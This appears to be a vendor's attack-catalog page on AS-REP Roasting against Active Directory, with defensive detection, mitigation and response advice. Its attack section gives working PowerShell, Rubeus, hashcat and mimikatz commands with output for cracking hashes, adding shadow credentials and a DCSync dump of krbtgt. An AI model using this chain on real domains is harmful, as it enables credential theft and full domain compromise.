Home
Resources
Attack Catalog
AS-REP Roasting Attack using Rubeus

AS-REP Roasting Attack using Rubeus

Active Directory

Credential Access

Credential Theft

Kerberos

AS-REP Roasting is a credential dumping technique that can be executed by low-privileged attackers who have network access to a domain controller.

The adversary simply sends an authentication request (AS-REQ) for a user account that does not require Kerberos pre-authentication, and the domain controller will send back a Kerberos ticket-granting ticket (TGT). The attacker can then extract the password hash from the TGT, attempt to crack it offline and use the plaintext password to advance their broader attack.

Threat Summary

Target:

Active Directory

Tools:

Rubeus, Hashcat

ATT&CK® Tactic:

LM and NTLM-enabled Windows endpoints

ATT&CK Technique:

T1558.004

Difficulty

Detection:

Medium

Mitigation:

Easy

Response:

Medium

Attack Tutorial: How the AS-REP Roasting Attack Works

STEP 1

Discover accounts that have Kerberos pre-authentication disabled.

First, an adversary performs reconnaissance to identify accounts that have Kerberos pre-authentication disabled and that are therefore vulnerable to AS-REP Roasting.
The example below shows how an adversary can use PowerShell to query Active Directory for users with Kerberos pre-authentication disabled and export the results to a CSV file:

Get-aduser -filter { UserAccountControl -band 4194304 } | 
    foreach { 
        $User = $_; $User | 
        Get-ADPrincipalGroupMembership | 
        Select-Object @{ Name = "User" ; Expression = { $User.SAMAccountName }}, DistinguishedName, SAMAccountName 
    } |
    Export-csv PreAuthAccounts.csv

As shown below, the output includes the group membership of each account, which helps the adversary identify high-value targets. In this case, the adversary has discovered the account ESMERALDA_MIRANDA, which is a member of the Key Admins group and therefore a valuable account to compromise.

## Sample CSV Output ##
# User,DistinguishedName,SAMAccountName
# ESMERALDA_MIRANDA,CN=Key Admins,CN=Users,DC=domain,DC=local,Key Admins

STEP 2

Requests TGT tickets and extract hashes.

Next, the adversary will attempt to authenticate as one or more of the target users using Kerberos (AS-REQ) and extract the password hash from the reply (AS-REP).
The example below shows how an adversary can use the Rubeus tool to automate the process of sending the AS-REQ for the account ESMERALDA_MIRANDA and then extracting and formatting the password hash for cracking:

.\Rubeus.exe asreproast /user:ESMERALDA_MIRANDA /format:hashcat /outfile:hashes.txt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.2


[*] Action: AS-REP roasting

[*] Target User            : ESMERALDA_MIRANDA
[*] Target Domain          : domain.local

[*] Searching path 'LDAP://DC.domain.local/DC=domain,DC=local' for '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(samAccountName=ESMERALDA_MIRANDA))'
[*] SamAccountName         : ESMERALDA_MIRANDA
[*] DistinguishedName      : CN=ESMERALDA_MIRANDA,OU=ITS,OU=People,DC=domain,DC=local
[*] Using domain controller: DC.domain.local (10.0.0.10)
[*] Building AS-REQ (w/o preauth) for: 'domain.local\ESMERALDA_MIRANDA'
[+] AS-REQ w/o preauth successful!
[*] Hash written to C:\Tools\hashes.txt

[*] Roasted hashes written to : C:\Tools\hashes.txt

Here is the output file, hashes.txt, which contains the password hash of the targeted account:

## Hashes.txt ##
$krb5asrep$23$ESMERALDA_MIRANDA@domain.local:b4d9969983602fa94d7fe07f55a2a0a2$d4209dd41beb7697741292f32a5ea10ee3a953a391a1c56b02e7274403ef401bf9d11febec9a7aa0a863c33570cc0ed5a33bd1a2f4d32aa86636aba73fe51c19e337e073dc56531f12a9ed122f6f9a91c0122e964926d97e4e7093f6975fd50c75c66111c034e3d6691f644dd563cc3ac7859d3c0703f99afc9867825466f6ed4578d979d3a924cef0d12939ebe1ce282740f7da9a168e5415646060271a71f93386a3666b4ccfbe8189c21b710ada099b183f7e51931317bc29683d1b9d6e532247bd8e72c348c62d1563a86ae7cda48164754df8b15f287a0c93aeffbb0352b8f7c72fb96ff620c9d22b09

STEP 3

Crack the passwords offline.

Next, the adversary obtains the plaintext password of the account by cracking the password offline using a tool like hashcat or John the Ripper. Since this activity requires no communication with Active Directory and can be completed on an attacker-owned machine, this step is undetectable by the victim organization.
In this example, the adversary uses hashcat and the wordlist RockYou.txt to crack the password hash saved in the file hashes.txt in Step 2:

.\hashcat.exe -m 18200 -o cracked.txt -a 0 .\Hashes.txt .\RockYou.txt
## Output Truncated ##
Dictionary cache hit:
* Filename..: .\RockYou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: .\Hashes.txt
Time.Started.....: Thu Sep 28 17:36:05 2023 (3 secs)
Time.Estimated...: Thu Sep 28 17:36:08 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (.\RockYou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  8894.2 kH/s (5.27ms) @ Accel:512 Loops:1 Thr:32 Vec:1
Recovered........: 1/2 (50.00%) Digests (total), 1/2 (50.00%) Digests (new), 1/2 (50.00%) Salts
Progress.........: 28688768/28688768 (100.00%)
Rejected.........: 0/28688768 (0.00%)
Restore.Point....: 14344384/14344384 (100.00%)
Restore.Sub.#1...: Salt:1 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[2321676f7468] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 62c Fan: 49% Util: 61% Core:1548MHz Mem:2504MHz Bus:16

Started: Thu Sep 28 17:36:04 2023
Stopped: Thu Sep 28 17:36:09 2023

Here is the output showing the password hash followed by the plaintext password, BossofNY05:

## Cracked.txt output ##
$krb5asrep$23$ESMERALDA_MIRANDA@domain.local:b4d9969983602fa94d7fe07f55a2a0a2$d4209dd41beb7697741292f32a5ea10ee3a953a391a1c56b02e7274403ef401bf9d11febec9a7aa0a863c33570cc0ed5a33bd1a2f4d32aa86636aba73fe51c19e337e073dc56531f12a9ed122f6f9a91c0122e964926d97e4e7093f6975fd50c75c66111c034e3d6691f644dd563cc3ac7859d3c0703f99afc9867825466f6ed4578d979d3a924cef0d12939ebe1ce282740f7da9a168e5415646060271a71f93386a3666b4ccfbe8189c21b710ada099b183f7e51931317bc29683d1b9d6e532247bd8e72c348c62d1563a86ae7cda48164754df8b15f287a0c93aeffbb0352b8f7c72fb96ff620c9d22b09:BossofNY05

STEP 4

Use new privileges to further objectives.

Now the adversary has the plaintext password of a member of the Key Admin group, which they can use to advance their broader campaign.
For instance, the adversary can use the compromised account to escalate their permissions. illustrates how an attacker could use their newly compromised account, ESMERALDA_MIRANDA, to find an account that has replication permissions on the domain (TestUser4), use DSInternals to add shadow credentials to that account using ESMERALDA_MIRANDA’s KeyAdmin permissions and execute the mimikatz command to fully compromise Active Directory.

Import-Module ActiveDirectory
# Finding accounts with replication permissions
Get-ACL "AD:\$(Get-ADDomain | Select-Object -expand DistinguishedName)" | Select -expand Access | Where { $_.ActiveDirectoryRights -eq
"ExtendedRight" -and $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" } | Select -expand IdentityReference

# Identifies DOMAIN\TestUser4 with replication permissions

# Variables #
$IdentifiedUser = "TestUser4" # User to impersonate
$ToolsPath = "C:\Tools\" # Path to folder, this must contain rubeus.exe, mimikatz.exe
$PasswordForPFX = "P@ssw0rd" # Password for exported PFX
$Service = "ldap/dc.domain.local" # Request LDAP Kerberos Ticket for DCSync
# Run Get-ADUser TestUser4 to get information for certificate and authentication
$ADUser = Get-ADUser $IdentifiedUser
$UserNTName = "$(Get-ADDomain | Select -expand NETBIOSName)\$($ADUser.SAMAccountName)" # Domain NT Username format Domain\USERNAME

Set-Location $ToolsPath
# Create a self-signed certificate
$certificateSubject = 'Subject' # This can be anything
$certificate = New-SelfSignedCertificate -Subject $certificateSubject `
                                                 -KeyLength 2048 `
                                                 -Provider 'Microsoft Strong Cryptographic Provider' `
                                                 -CertStoreLocation Cert:\CurrentUser\My `
                                                 -NotAfter (Get-Date).AddYears(30) `
                                                 -TextExtension '2.5.29.19={text}false', '2.5.29.37={text}1.3.6.1.4.1.311.20.2.2' `
                                                 -SuppressOid '2.5.29.14' `
                                                 -KeyUsage None `
                                                 -KeyExportPolicy Exportable

# Use the self-signed certificate to generate a KeyCredential with DSInternals
# Install-Module DSInternals
$ngcKey = Get-ADKeyCredential -Certificate $certificate  -OwnerDN $ADUser.DistinguishedName -DeviceId (New-Guid)

# Set the msDS-KeyCredentialLink for the user
Set-ADObject -Identity $ngcKey.Owner -Add @{ 'msDS-KeyCredentialLink' = $ngcKey.ToDNWithBinary() }

# Because the self-signed certificate was stored in Cert:\CurrentUser\My, we need to export it for use with Rubeus, since Rubeus requires a PFX.
Get-Item -Path "Cert:\currentuser\my\$($Certificate.Thumbprint)" | Export-PFXCertificate -FilePath key.pfx -Password (ConvertTo-SecureString -AsPlainText -Force -String $PasswordForPFX)

# Remove any previously requested tickets, as Rubeus does not overwrite files.
# Request a TGT using PKINIT, and then request a TGS ticket for the LDAP service
remove-item -path TGT.kirbi -Force -ErrorAction SilentlyContinue
& "$ToolsPath\rubeus.exe" asktgt /user:$UserNTName /certificate:key.pfx /password:$PasswordForPFX /outfile:TGT.kirbi /nowrap
& "$ToolsPath\rubeus.exe" asktgs /ticket:TGT.kirbi /service:$service /ptt /nowrap
# Perform DCSync as the user
& "$ToolsPath\mimikatz.exe" "lsadump::dcsync /user:DOMAIN\KRBTGT" "exit"

Here is the output:

Value
-----
BUILTIN\Administrators
DOMAIN\Domain Controllers
DOMAIN\MSOL_c139e1c1e5bf
DOMAIN\TestUser4

    Directory: C:\Tools


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       29/09/2023     15:44           2574 key.pfx


   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.2

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Subject
[*] Building AS-REQ (w/ PKINIT preauth) for: 'DOMAIN\TestUser4'
[*] Using domain controller: 10.0.0.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIHUDCCB0ygAwIBBaEDAgEW...ticket truncated...MjMxMDA2MTQ0NDA0WqgOGwxET01BSU4uTE9DQUypGzAZoAMCAQKhEjAQGwZrcmJ0Z3QbBkRPTUFJTg==

[*] Ticket written to TGT.kirbi


  ServiceName              :  krbtgt/DOMAIN
  ServiceRealm             :  DOMAIN.LOCAL
  UserName                 :  TestUser4
  UserRealm                :  DOMAIN.LOCAL
  StartTime                :  29/09/2023 15:44:04
  EndTime                  :  30/09/2023 01:44:04
  RenewTill                :  06/10/2023 15:44:04
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  rc4_hmac
  Base64(key)              :  j+OF8ZAgJU3/lh91X605Sg==
  ASREP (key)              :  080D17EC2591AC171F725ABC5553144D


   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.2

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'ldap/dc.domain.local'
[*] Using domain controller: DC.domain.local (10.0.0.10)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIHdjCCB3KgAwI...ticket truncated...9tYWluLmxvY2Fs

  ServiceName              :  ldap/dc.domain.local
  ServiceRealm             :  DOMAIN.LOCAL
  UserName                 :  TestUser4
  UserRealm                :  DOMAIN.LOCAL
  StartTime                :  29/09/2023 15:44:05
  EndTime                  :  30/09/2023 01:44:04
  RenewTill                :  06/10/2023 15:44:04
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  7PU5YKp45OF6NJ1VsgBJwyu4ObV4zvxsaplOjTOJAjQ=


  .#####.   mimikatz 2.2.0 (x64) #19041 Jul  4 2023 11:28:59
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /user:DOMAIN\KRBTGT
[DC] 'domain.local' will be the domain
[DC] 'DC.domain.local' will be the DC server
[DC] 'DOMAIN\KRBTGT' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 15/06/2023 17:25:59
Object Security ID   : S-1-5-21-1690633308-4291984171-1083300919-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: efc8d6a29f10d9cd0ae64b79c37047ba
...output truncated...
mimikatz(commandline) # exit
Bye!

Detect, Mitigate and Respond

Detect

Mitigate

Respond

Difficulty: Medium

It is possible to detect certain indicators of AS-REP Roasting by monitoring the Windows event log for unusual TGT requests coming from accounts that have Kerberos pre-authentication disabled. Event 4768 in the Audit Kerberos Authentication Service subcategory must be enabled for successful events. Defenders can analyze these events for:

Ticket encryption downgrades — By default, accounts should use the strong encryption type of AES256-CTS-HMAC-SHA1-96 (0x12). Any use other encryption types is suspicious; adversaries use lower encryption levels because they can be cracked much faster.
Abnormal number of unique accounts authenticating from a single endpoint — By default, many hacking tools, including Rubeus, request tickets for all users with Kerberos pre-authentication disabled. Establishing a baseline of authentication activity is ideal for spotting attacks while reducing false positive alerts. However, organizations can use a hardcoded threshold of two or more accounts attempting to authenticate from a single endpoint, with known busy systems excluded.
Unusual authentication patterns — While not explicitly an AS-REP Roasting attack detection method on its own, monitoring users closely for unusual authentication activity, such as logins at abnormal times or using unusual clients, is a must.

Another strategy for detecting signs of AS-REP Roasting is to establish an AS-REP Roasting honeypot: Create a user account that has Kerberos pre-authentication disabled and monitor it closely. To reduce risk, be sure to set a long password and grant the account minimal access.

Difficulty: Easy

To protect accounts from AS-REP Roasting attacks, you can:

Enable Kerberos pre-authentication — Unless there is a good reason for an account to have pre-authentication disabled, pre-authentication should be enabled. This blocks AS-REP Roasting attacks completely.
Enforce strong passwords for accounts — Requiring long passwords, such as passphrases, for all accounts will make it much harder for an adversary to crack stolen hashes.
Enforce the use of strong encryption types — Allow only AES128 and AES256 encryption for accounts by setting the msDS-SupportedEncryptionTypes attribute to 0x18.

To determine whether a system supports Kerberos pre-authentication, you use any of the following methods:

Check whether the system is using Kerberos V5. If it is, then pre-authentication is supported.
Check the domain controller event logs for TGT events (4768) from the system or application. If the value of the Pre-Authentication Type field is 2, pre-authentication was used.
Make a new account in Active Directory with pre-authentication enabled, grant it access to the system in question, and attempt to log in.

Difficulty: Medium

When AS-REP Roasting is detected, you should take the following actions:

Activate the incident response process and alert the incident response team.
Quarantine any implicated computers (e.g., the host that requested the TGTs) for forensic investigation, eradication measures and recovery activities.
Reset the password of each account that might have been compromised.

Detect

Difficulty: Medium

Ticket encryption downgrades — By default, accounts should use the strong encryption type of AES256-CTS-HMAC-SHA1-96 (0x12). Any use other encryption types is suspicious; adversaries use lower encryption levels because they can be cracked much faster.
Abnormal number of unique accounts authenticating from a single endpoint — By default, many hacking tools, including Rubeus, request tickets for all users with Kerberos pre-authentication disabled. Establishing a baseline of authentication activity is ideal for spotting attacks while reducing false positive alerts. However, organizations can use a hardcoded threshold of two or more accounts attempting to authenticate from a single endpoint, with known busy systems excluded.
Unusual authentication patterns — While not explicitly an AS-REP Roasting attack detection method on its own, monitoring users closely for unusual authentication activity, such as logins at abnormal times or using unusual clients, is a must.

Mitigate

Difficulty: Easy

To protect accounts from AS-REP Roasting attacks, you can:

Enable Kerberos pre-authentication — Unless there is a good reason for an account to have pre-authentication disabled, pre-authentication should be enabled. This blocks AS-REP Roasting attacks completely.
Enforce strong passwords for accounts — Requiring long passwords, such as passphrases, for all accounts will make it much harder for an adversary to crack stolen hashes.
Enforce the use of strong encryption types — Allow only AES128 and AES256 encryption for accounts by setting the msDS-SupportedEncryptionTypes attribute to 0x18.

To determine whether a system supports Kerberos pre-authentication, you use any of the following methods:

Check whether the system is using Kerberos V5. If it is, then pre-authentication is supported.
Check the domain controller event logs for TGT events (4768) from the system or application. If the value of the Pre-Authentication Type field is 2, pre-authentication was used.
Make a new account in Active Directory with pre-authentication enabled, grant it access to the system in question, and attempt to log in.

Respond

Difficulty: Medium

When AS-REP Roasting is detected, you should take the following actions:

Activate the incident response process and alert the incident response team.
Quarantine any implicated computers (e.g., the host that requested the TGTs) for forensic investigation, eradication measures and recovery activities.
Reset the password of each account that might have been compromised.

Featured Solutions

Netwrix Threat Manager
Active Directory Security Solution

OTHER ATTACKS

DCSync Attack
Kerberoasting Attack
Zerologon Exploit Attack

MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.